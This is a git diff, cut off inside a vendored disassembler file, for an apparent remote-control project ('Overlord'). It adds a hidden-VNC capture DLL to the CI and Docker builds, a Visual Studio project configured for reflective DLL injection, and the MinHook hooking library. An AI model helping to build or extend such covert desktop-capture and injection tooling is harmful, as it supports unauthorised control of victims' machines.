diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml
index d2be0c5..76c30c1 100644
--- a/.github/workflows/docker-publish.yml
+++ b/.github/workflows/docker-publish.yml
@@ -21,11 +21,17 @@ jobs:
shell: cmd
run: call build-hvnc-dll.bat
- - name: Upload HVNCInjection DLL
+ - name: Build HVNCCapture DLL with MSVC
+ shell: cmd
+ run: call build-hvnc-capture-dll.bat
+
+ - name: Upload HVNC DLLs
uses: actions/upload-artifact@v4
with:
name: hvnc-dll
- path: Overlord-Server/dist-clients/HVNCInjection.x64.dll
+ path: |
+ Overlord-Server/dist-clients/HVNCInjection.x64.dll
+ Overlord-Server/dist-clients/HVNCCapture.x64.dll
if-no-files-found: error
retention-days: 1
@@ -40,7 +46,7 @@ jobs:
- name: Checkout repository
uses: actions/checkout@v4
- - name: Download HVNCInjection DLL
+ - name: Download HVNC DLLs
uses: actions/download-artifact@v4
with:
name: hvnc-dll
diff --git a/Dockerfile b/Dockerfile
index 3e45384..ebc3d6e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -8,6 +8,7 @@ RUN apt-get update \
&& apt-get install -y --no-install-recommends \
build-essential \
gcc-mingw-w64-x86-64 \
+ g++-mingw-w64-x86-64 \
gcc-mingw-w64-i686 \
musl-tools \
gcc-aarch64-linux-gnu \
@@ -71,6 +72,10 @@ COPY Overlord-Client/ ./Overlord-Client/
COPY HVNCInjection/ ./HVNCInjection/
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
+# Copy HVNCCapture source and build script for cross-compilation
+COPY HVNCCapture/ ./HVNCCapture/
+COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh
+
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
@@ -81,6 +86,16 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
fi
+# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact).
+# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists.
+RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \
+ echo "Using pre-built MSVC HVNCCapture DLL"; \
+ else \
+ chmod +x build-hvnc-capture-dll.sh && \
+ HVNC_CAPTURE_SRC_DIR=HVNCCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-hvnc-capture-dll.sh || \
+ echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \
+ fi
+
# Create necessary directories
RUN mkdir -p certs public data
diff --git a/HVNCCapture/HVNCCapture.vcxproj b/HVNCCapture/HVNCCapture.vcxproj
new file mode 100644
index 0000000..641f946
--- /dev/null
+++ b/HVNCCapture/HVNCCapture.vcxproj
@@ -0,0 +1,129 @@
+
+
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ {A1B2C3D4-1234-5678-9ABC-DEF012345678}
+ HVNCCapture
+ Win32Proj
+
+
+
+ DynamicLibrary
+ v143
+ MultiByte
+ false
+
+
+ DynamicLibrary
+ false
+ v143
+ false
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+ <_ProjectFileVersion>11.0.50727.1
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ true
+ $(ProjectName).x64
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ false
+ $(ProjectName).x64
+
+
+
+ X64
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ Size
+ false
+ WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+ CompileAsCpp
+
+
+ $(OutDir)$(ProjectName).x64.dll
+ true
+ Windows
+ true
+ true
+ MachineX64
+ $(ProjectDir)src;%(AdditionalLibraryDirectories)
+ d3d11.lib;dxgi.lib;%(AdditionalDependencies)
+
+
+
+
+ X64
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ Size
+ false
+ WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+ CompileAsCpp
+
+
+ $(OutDir)$(ProjectName).x64.dll
+ true
+ Windows
+ true
+ true
+ MachineX64
+ $(ProjectDir)src;%(AdditionalLibraryDirectories)
+ d3d11.lib;dxgi.lib;%(AdditionalDependencies)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/HVNCCapture/Minhook/include/MinHook.h b/HVNCCapture/Minhook/include/MinHook.h
new file mode 100644
index 0000000..ae39350
--- /dev/null
+++ b/HVNCCapture/Minhook/include/MinHook.h
@@ -0,0 +1,185 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
+ #error MinHook supports only x86 and x64 systems.
+#endif
+
+#include
+
+// MinHook Error Codes.
+typedef enum MH_STATUS
+{
+ // Unknown error. Should not be returned.
+ MH_UNKNOWN = -1,
+
+ // Successful.
+ MH_OK = 0,
+
+ // MinHook is already initialized.
+ MH_ERROR_ALREADY_INITIALIZED,
+
+ // MinHook is not initialized yet, or already uninitialized.
+ MH_ERROR_NOT_INITIALIZED,
+
+ // The hook for the specified target function is already created.
+ MH_ERROR_ALREADY_CREATED,
+
+ // The hook for the specified target function is not created yet.
+ MH_ERROR_NOT_CREATED,
+
+ // The hook for the specified target function is already enabled.
+ MH_ERROR_ENABLED,
+
+ // The hook for the specified target function is not enabled yet, or already
+ // disabled.
+ MH_ERROR_DISABLED,
+
+ // The specified pointer is invalid. It points the address of non-allocated
+ // and/or non-executable region.
+ MH_ERROR_NOT_EXECUTABLE,
+
+ // The specified target function cannot be hooked.
+ MH_ERROR_UNSUPPORTED_FUNCTION,
+
+ // Failed to allocate memory.
+ MH_ERROR_MEMORY_ALLOC,
+
+ // Failed to change the memory protection.
+ MH_ERROR_MEMORY_PROTECT,
+
+ // The specified module is not loaded.
+ MH_ERROR_MODULE_NOT_FOUND,
+
+ // The specified function is not found.
+ MH_ERROR_FUNCTION_NOT_FOUND
+}
+MH_STATUS;
+
+// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
+// MH_QueueEnableHook or MH_QueueDisableHook.
+#define MH_ALL_HOOKS NULL
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ // Initialize the MinHook library. You must call this function EXACTLY ONCE
+ // at the beginning of your program.
+ MH_STATUS WINAPI MH_Initialize(VOID);
+
+ // Uninitialize the MinHook library. You must call this function EXACTLY
+ // ONCE at the end of your program.
+ MH_STATUS WINAPI MH_Uninitialize(VOID);
+
+ // Creates a hook for the specified target function, in disabled state.
+ // Parameters:
+ // pTarget [in] A pointer to the target function, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
+
+ // Creates a hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszProcName [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApi(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
+
+ // Creates a hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszProcName [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ // ppTarget [out] A pointer to the target function, which will be used
+ // with other functions.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApiEx(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
+
+ // Removes an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
+
+ // Enables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // enabled in one go.
+ MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
+
+ // Disables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // disabled in one go.
+ MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
+
+ // Queues to enable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be enabled.
+ MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
+
+ // Queues to disable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be disabled.
+ MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
+
+ // Applies all queued changes in one go.
+ MH_STATUS WINAPI MH_ApplyQueued(VOID);
+
+ // Translates the MH_STATUS to its name as a string.
+ const char *WINAPI MH_StatusToString(MH_STATUS status);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/HVNCCapture/Minhook/src/buffer.c b/HVNCCapture/Minhook/src/buffer.c
new file mode 100644
index 0000000..940df65
--- /dev/null
+++ b/HVNCCapture/Minhook/src/buffer.c
@@ -0,0 +1,312 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include
+#include "buffer.h"
+
+// Size of each memory block. (= page size of VirtualAlloc)
+#define MEMORY_BLOCK_SIZE 0x1000
+
+// Max range for seeking a memory block. (= 1024MB)
+#define MAX_MEMORY_RANGE 0x40000000
+
+// Memory protection flags to check the executable address.
+#define PAGE_EXECUTE_FLAGS \
+ (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
+
+// Memory slot.
+typedef struct _MEMORY_SLOT
+{
+ union
+ {
+ struct _MEMORY_SLOT *pNext;
+ UINT8 buffer[MEMORY_SLOT_SIZE];
+ };
+} MEMORY_SLOT, *PMEMORY_SLOT;
+
+// Memory block info. Placed at the head of each block.
+typedef struct _MEMORY_BLOCK
+{
+ struct _MEMORY_BLOCK *pNext;
+ PMEMORY_SLOT pFree; // First element of the free slot list.
+ UINT usedCount;
+} MEMORY_BLOCK, *PMEMORY_BLOCK;
+
+//-------------------------------------------------------------------------
+// Global Variables:
+//-------------------------------------------------------------------------
+
+// First element of the memory block list.
+static PMEMORY_BLOCK g_pMemoryBlocks;
+
+//-------------------------------------------------------------------------
+VOID InitializeBuffer(VOID)
+{
+ // Nothing to do for now.
+}
+
+//-------------------------------------------------------------------------
+VOID UninitializeBuffer(VOID)
+{
+ PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
+ g_pMemoryBlocks = NULL;
+
+ while (pBlock)
+ {
+ PMEMORY_BLOCK pNext = pBlock->pNext;
+ VirtualFree(pBlock, 0, MEM_RELEASE);
+ pBlock = pNext;
+ }
+}
+
+//-------------------------------------------------------------------------
+#if defined(_M_X64) || defined(__x86_64__)
+static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
+{
+ ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
+
+ // Round down to the allocation granularity.
+ tryAddr -= tryAddr % dwAllocationGranularity;
+
+ // Start from the previous allocation granularity multiply.
+ tryAddr -= dwAllocationGranularity;
+
+ while (tryAddr >= (ULONG_PTR)pMinAddr)
+ {
+ MEMORY_BASIC_INFORMATION mbi;
+ if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
+ break;
+
+ if (mbi.State == MEM_FREE)
+ return (LPVOID)tryAddr;
+
+ if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
+ break;
+
+ tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
+ }
+
+ return NULL;
+}
+#endif
+
+//-------------------------------------------------------------------------
+#if defined(_M_X64) || defined(__x86_64__)
+static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
+{
+ ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
+
+ // Round down to the allocation granularity.
+ tryAddr -= tryAddr % dwAllocationGranularity;
+
+ // Start from the next allocation granularity multiply.
+ tryAddr += dwAllocationGranularity;
+
+ while (tryAddr <= (ULONG_PTR)pMaxAddr)
+ {
+ MEMORY_BASIC_INFORMATION mbi;
+ if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
+ break;
+
+ if (mbi.State == MEM_FREE)
+ return (LPVOID)tryAddr;
+
+ tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
+
+ // Round up to the next allocation granularity.
+ tryAddr += dwAllocationGranularity - 1;
+ tryAddr -= tryAddr % dwAllocationGranularity;
+ }
+
+ return NULL;
+}
+#endif
+
+//-------------------------------------------------------------------------
+static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
+{
+ PMEMORY_BLOCK pBlock;
+#if defined(_M_X64) || defined(__x86_64__)
+ ULONG_PTR minAddr;
+ ULONG_PTR maxAddr;
+
+ SYSTEM_INFO si;
+ GetSystemInfo(&si);
+ minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
+ maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
+
+ // pOrigin ± 512MB
+ if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
+ minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
+
+ if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
+ maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
+
+ // Make room for MEMORY_BLOCK_SIZE bytes.
+ maxAddr -= MEMORY_BLOCK_SIZE - 1;
+#endif
+
+ // Look the registered blocks for a reachable one.
+ for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
+ {
+#if defined(_M_X64) || defined(__x86_64__)
+ // Ignore the blocks too far.
+ if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
+ continue;
+#endif
+ // The block has at least one unused slot.
+ if (pBlock->pFree != NULL)
+ return pBlock;
+ }
+
+#if defined(_M_X64) || defined(__x86_64__)
+ // Alloc a new block above if not found.
+ {
+ LPVOID pAlloc = pOrigin;
+ while ((ULONG_PTR)pAlloc >= minAddr)
+ {
+ pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
+ if (pAlloc == NULL)
+ break;
+
+ pBlock = (PMEMORY_BLOCK)VirtualAlloc(
+ pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (pBlock != NULL)
+ break;
+ }
+ }
+
+ // Alloc a new block below if not found.
+ if (pBlock == NULL)
+ {
+ LPVOID pAlloc = pOrigin;
+ while ((ULONG_PTR)pAlloc <= maxAddr)
+ {
+ pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
+ if (pAlloc == NULL)
+ break;
+
+ pBlock = (PMEMORY_BLOCK)VirtualAlloc(
+ pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (pBlock != NULL)
+ break;
+ }
+ }
+#else
+ // In x86 mode, a memory block can be placed anywhere.
+ pBlock = (PMEMORY_BLOCK)VirtualAlloc(
+ NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+#endif
+
+ if (pBlock != NULL)
+ {
+ // Build a linked list of all the slots.
+ PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
+ pBlock->pFree = NULL;
+ pBlock->usedCount = 0;
+ do
+ {
+ pSlot->pNext = pBlock->pFree;
+ pBlock->pFree = pSlot;
+ pSlot++;
+ } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
+
+ pBlock->pNext = g_pMemoryBlocks;
+ g_pMemoryBlocks = pBlock;
+ }
+
+ return pBlock;
+}
+
+//-------------------------------------------------------------------------
+LPVOID AllocateBuffer(LPVOID pOrigin)
+{
+ PMEMORY_SLOT pSlot;
+ PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
+ if (pBlock == NULL)
+ return NULL;
+
+ // Remove an unused slot from the list.
+ pSlot = pBlock->pFree;
+ pBlock->pFree = pSlot->pNext;
+ pBlock->usedCount++;
+#ifdef _DEBUG
+ // Fill the slot with INT3 for debugging.
+ memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
+#endif
+ return pSlot;
+}
+
+//-------------------------------------------------------------------------
+VOID FreeBuffer(LPVOID pBuffer)
+{
+ PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
+ PMEMORY_BLOCK pPrev = NULL;
+ ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
+
+ while (pBlock != NULL)
+ {
+ if ((ULONG_PTR)pBlock == pTargetBlock)
+ {
+ PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
+#ifdef _DEBUG
+ // Clear the released slot for debugging.
+ memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
+#endif
+ // Restore the released slot to the list.
+ pSlot->pNext = pBlock->pFree;
+ pBlock->pFree = pSlot;
+ pBlock->usedCount--;
+
+ // Free if unused.
+ if (pBlock->usedCount == 0)
+ {
+ if (pPrev)
+ pPrev->pNext = pBlock->pNext;
+ else
+ g_pMemoryBlocks = pBlock->pNext;
+
+ VirtualFree(pBlock, 0, MEM_RELEASE);
+ }
+
+ break;
+ }
+
+ pPrev = pBlock;
+ pBlock = pBlock->pNext;
+ }
+}
+
+//-------------------------------------------------------------------------
+BOOL IsExecutableAddress(LPVOID pAddress)
+{
+ MEMORY_BASIC_INFORMATION mi;
+ VirtualQuery(pAddress, &mi, sizeof(mi));
+
+ return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
+}
diff --git a/HVNCCapture/Minhook/src/buffer.h b/HVNCCapture/Minhook/src/buffer.h
new file mode 100644
index 0000000..204d551
--- /dev/null
+++ b/HVNCCapture/Minhook/src/buffer.h
@@ -0,0 +1,42 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+// Size of each memory slot.
+#if defined(_M_X64) || defined(__x86_64__)
+ #define MEMORY_SLOT_SIZE 64
+#else
+ #define MEMORY_SLOT_SIZE 32
+#endif
+
+VOID InitializeBuffer(VOID);
+VOID UninitializeBuffer(VOID);
+LPVOID AllocateBuffer(LPVOID pOrigin);
+VOID FreeBuffer(LPVOID pBuffer);
+BOOL IsExecutableAddress(LPVOID pAddress);
diff --git a/HVNCCapture/Minhook/src/hde/hde32.c b/HVNCCapture/Minhook/src/hde/hde32.c
new file mode 100644
index 0000000..eb6af9b
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/hde32.c
@@ -0,0 +1,324 @@
+/*
+ * Hacker Disassembler Engine 32 C
+ * Copyright (c) 2008-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ */
+
+#if defined(_M_IX86) || defined(__i386__)
+
+#include
+#include "hde32.h"
+#include "table32.h"
+
+unsigned int hde32_disasm(const void *code, hde32s *hs)
+{
+ uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
+ uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
+
+ memset(hs, 0, sizeof(hde32s));
+
+ for (x = 16; x; x--)
+ switch (c = *p++) {
+ case 0xf3:
+ hs->p_rep = c;
+ pref |= PRE_F3;
+ break;
+ case 0xf2:
+ hs->p_rep = c;
+ pref |= PRE_F2;
+ break;
+ case 0xf0:
+ hs->p_lock = c;
+ pref |= PRE_LOCK;
+ break;
+ case 0x26: case 0x2e: case 0x36:
+ case 0x3e: case 0x64: case 0x65:
+ hs->p_seg = c;
+ pref |= PRE_SEG;
+ break;
+ case 0x66:
+ hs->p_66 = c;
+ pref |= PRE_66;
+ break;
+ case 0x67:
+ hs->p_67 = c;
+ pref |= PRE_67;
+ break;
+ default:
+ goto pref_done;
+ }
+ pref_done:
+
+ hs->flags = (uint32_t)pref << 23;
+
+ if (!pref)
+ pref |= PRE_NONE;
+
+ if ((hs->opcode = c) == 0x0f) {
+ hs->opcode2 = c = *p++;
+ ht += DELTA_OPCODES;
+ } else if (c >= 0xa0 && c <= 0xa3) {
+ if (pref & PRE_67)
+ pref |= PRE_66;
+ else
+ pref &= ~PRE_66;
+ }
+
+ opcode = c;
+ cflags = ht[ht[opcode / 4] + (opcode % 4)];
+
+ if (cflags == C_ERROR) {
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ cflags = 0;
+ if ((opcode & -3) == 0x24)
+ cflags++;
+ }
+
+ x = 0;
+ if (cflags & C_GROUP) {
+ uint16_t t;
+ t = *(uint16_t *)(ht + (cflags & 0x7f));
+ cflags = (uint8_t)t;
+ x = (uint8_t)(t >> 8);
+ }
+
+ if (hs->opcode2) {
+ ht = hde32_table + DELTA_PREFIXES;
+ if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ }
+
+ if (cflags & C_MODRM) {
+ hs->flags |= F_MODRM;
+ hs->modrm = c = *p++;
+ hs->modrm_mod = m_mod = c >> 6;
+ hs->modrm_rm = m_rm = c & 7;
+ hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
+
+ if (x && ((x << m_reg) & 0x80))
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+
+ if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
+ uint8_t t = opcode - 0xd9;
+ if (m_mod == 3) {
+ ht = hde32_table + DELTA_FPU_MODRM + t*8;
+ t = ht[m_reg] << m_rm;
+ } else {
+ ht = hde32_table + DELTA_FPU_REG;
+ t = ht[t] << m_reg;
+ }
+ if (t & 0x80)
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ }
+
+ if (pref & PRE_LOCK) {
+ if (m_mod == 3) {
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+ } else {
+ uint8_t *table_end, op = opcode;
+ if (hs->opcode2) {
+ ht = hde32_table + DELTA_OP2_LOCK_OK;
+ table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
+ } else {
+ ht = hde32_table + DELTA_OP_LOCK_OK;
+ table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
+ op &= -2;
+ }
+ for (; ht != table_end; ht++)
+ if (*ht++ == op) {
+ if (!((*ht << m_reg) & 0x80))
+ goto no_lock_error;
+ else
+ break;
+ }
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+ no_lock_error:
+ ;
+ }
+ }
+
+ if (hs->opcode2) {
+ switch (opcode) {
+ case 0x20: case 0x22:
+ m_mod = 3;
+ if (m_reg > 4 || m_reg == 1)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ case 0x21: case 0x23:
+ m_mod = 3;
+ if (m_reg == 4 || m_reg == 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ }
+ } else {
+ switch (opcode) {
+ case 0x8c:
+ if (m_reg > 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ case 0x8e:
+ if (m_reg == 1 || m_reg > 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ }
+ }
+
+ if (m_mod == 3) {
+ uint8_t *table_end;
+ if (hs->opcode2) {
+ ht = hde32_table + DELTA_OP2_ONLY_MEM;
